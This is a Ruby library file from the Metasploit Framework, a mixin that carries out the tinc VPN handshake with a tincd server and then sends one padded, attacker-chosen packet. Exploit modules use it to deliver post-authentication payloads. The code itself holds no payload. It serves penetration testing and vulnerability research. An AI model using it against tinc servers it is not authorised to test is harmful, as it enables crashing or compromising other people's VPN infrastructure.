metasploit-framework/lib/msf/core/exploit/tincd.rb

342 lines
11 KiB
Ruby

require 'msf/core'
require 'msf/core/exploit/tcp'
require 'securerandom'
require 'openssl'
require 'digest/sha1'
module Msf
# This module does a handshake with a tincd server and sends one padded packet
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
module Exploit::Remote::TincdExploitClient
include Msf::Exploit::Remote::Tcp
BF_BLOCKSIZE = 64 / 8
BF_KEY_LEN = 16
BF_IV_LEN = 8
#
# Module options
#
def initialize(info = {})
super
register_options(
[Opt::RPORT(655),
# As this is only for post-auth exploits, you should know the value of the
# following variables by simply checking
# your configuration.
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
# You should see CLIENT_NAME in cleartext in the first message to the
# server by your usual tinc client (tcpdump or
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
# this is located in the config folder, e.g. in FreeBSD
# there is the client public key file /usr/local/etc/tinc/hosts/home
# for the client "home"
# If you don't have a clue, maybe just try the filename of your private
# key without file extension
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
], self
)
end
#
# Setting up variables and calling cipher inits with file paths from configuration
#
def setup_ciphers
@state = :id_state
@buffer = ''
@inbuffer = ''
@encryption_queue = []
@packet_payload = nil
@keep_reading_socket = false
@server_key_len = nil
@client_key_len = nil
@client_private_key_cipher = nil
@hex_enc_key_s1 = nil
@bf_enc_cipher = nil
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
@bf_dec_cipher = nil
end
#
# The main method that will be called that will call other methods to send first message
# and continuously read from socket and ensures TCP disconnect at the end
#
def send_recv(packet_payload)
@packet_payload = packet_payload
@keep_reading_socket = true
connect
begin
# send the first message
id
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
while @keep_reading_socket
process_data(sock.get_once)
end
rescue Errno::ECONNRESET
if @state == :metakey_state
fail 'Server reset the connection. Probably rejecting ' +
'the private key and/or client name (e.g. client name not associated ' +
'with client public key on server side). ' +
'Wrong server public key possible too. ' +
'Please recheck client name, client private key and ' +
'server public key.'
else
fail 'Server reset the connection, reason unknown.'
end
ensure
disconnect
end
end
#
# Reading of certificate files and parsing them, generation of random keys
# and initialization of OFB mode blowfish cipher
#
def init_ciphers(server_file, client_file)
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
@server_key_len = server_public_key_cipher.n.num_bytes
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
@client_key_len = @client_private_key_cipher.n.num_bytes
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
# we don't want this to happen here:
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
# simple solution: choose the key_s1 with a leading zero byte
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
offset_key = @server_key_len - BF_KEY_LEN
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
bf_enc_key = key_s1[offset_key...@server_key_len]
bf_enc_iv = key_s1[offset_iv...offset_key]
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
@bf_enc_cipher.encrypt
@bf_enc_cipher.key = bf_enc_key
@bf_enc_cipher.iv = bf_enc_iv
# #Looks like ruby openssl supports other lengths than multiple of 8!
# test = @bf_enc_cipher.update('A'*10)
# test << @bf_enc_cipher.final
# puts "Testing cipher: "+test.unpack('H*')[0]
end
#
# Depending on the state of the protocol handshake and the data we get back
# from the server, this method will decide which message has to be sent next
#
def process_data(data)
@inbuffer += data if data
case @state
when :id_state
if line?
data = read_line
vprint_status("Received ID from server: [#{data[0..30]}]")
@state = :metakey_state
# next expected state
metakey
end
when :metakey_state
if line?
data = read_line
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
data = data.split(' ')
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
hexkey_s2 = data[5].rstrip # ("\n")
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
@enckey_s2 = [hexkey_s2].pack('H*')
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
# metakey setup according to protocol_auth.c
# if(!EVP_DecryptInit(c->inctx, c->incipher,
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
# ))
offset_key = @client_key_len - BF_KEY_LEN
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
bf_dec_key = key_s2[offset_key...@client_key_len]
bf_dec_iv = key_s2[offset_iv...offset_key]
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
@bf_dec_cipher.encrypt
@bf_dec_cipher.key = bf_dec_key
@bf_dec_cipher.iv = bf_dec_iv
# don't forget, it *does* matter if you do a
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
vprint_status('Metakey handshake/exchange completed')
@state = :challenge_state
challenge
end
when :challenge_state
need_len = 2 * @client_key_len + 3
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received challenge from server: " +
"[#{data.unpack('H*')[0][0..30]}...]")
data = data.split(' ', 2)
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
challenge2 = data[1][0...2 * @client_key_len]
challenge2 = [challenge2].pack('H*')
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
@state = :challenge_reply_state
challenge_reply(challenge2)
end
when :challenge_reply_state
need_len = 43
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received challenge reply from server:" +
" [#{data.unpack('H*')[0][0..30]}...]")
@state = :ack_state
ack
end
when :ack_state
need_len = 12
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received ack (server accepted challenge response):" +
"[#{data.unpack('H*')[0][0..30]}...]")
@state = :done_state
send_packet
end
end
end
#
# Encryption queue where waiting data gets encrypted and afterwards
# the remaining messages get sent
#
def handle_write
# handle encryption queue first
unless @encryption_queue.empty?
msg = @encryption_queue[0]
@encryption_queue.delete_at(0)
@buffer = @bf_enc_cipher.update(msg)
@buffer << @bf_enc_cipher.final
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
# the resulting block is used to encrypt the next block.
end
unless @buffer.empty?
sent = send_data(@buffer)
vprint_status("Sent #{sent} bytes: " +
"[#{@buffer.unpack('H*')[0][0..30]}...]")
@buffer = @buffer[sent..@buffer.length]
end
end
#
# Simple socket put/write
#
def send_data(buf)
sock.put(buf)
end
#
# Decryption method to process data sent by server
#
def pop_inbuffer_and_decrypt(size)
# In ruby openssl OFM works not only on full blocks, but also on
# parts. Therefore no worries like in pycrypto and no
# modified decrypt routine, simply use the cipher as is.
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
data << @bf_dec_cipher.final
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
# the resulting block is used to decrypt the next block.
end
#
# Read up to the next newline from the data the server sent
#
def read_line
idx = @inbuffer.index("\n")
data = @inbuffer.slice!(0, idx)
@inbuffer.lstrip!
data
end
#
# Check if we already received a newline, meaning we got an
# entire message for the next protocol step
#
def line?
!!(@inbuffer.match("\n"))
end
#
# Start message method after TCP handshake
#
def id
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
@buffer += msg
handle_write
end
#
# Sending metakey (transferring a symmetric key that will get encrypted with
# public key before beeing sent to the server)
#
def metakey
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
@buffer += msg
handle_write
end
#
# Send challenge random bytes
#
def challenge
vprint_status('Sending challenge (ciphertext)')
challenge = SecureRandom.random_bytes(@server_key_len)
msg = "2 #{challenge.unpack('H*')[0]}\n"
@encryption_queue.push(msg)
handle_write
end
#
# Reply to challenge that was sent by server
#
def challenge_reply(challenge2)
vprint_status('Sending challenge reply (ciphertext)')
h = Digest::SHA1.hexdigest(challenge2)
msg = "3 #{h.upcase}\n"
@encryption_queue.push(msg)
handle_write
end
#
# Ack state to signalize challenge/response was successful
#
def ack
vprint_status('Sending ack (signalise server that we accept challenge' +
'reply, ciphertext)')
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
handle_write
end
#
# Sending a packet inside the VPN connection after successful protocol setup
#
def send_packet
vprint_status('Protocol finished setup. Going to send packet.')
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
# padding
msg += 'B' * plen
@encryption_queue.push(msg)
@keep_reading_socket = false
handle_write
end
end
end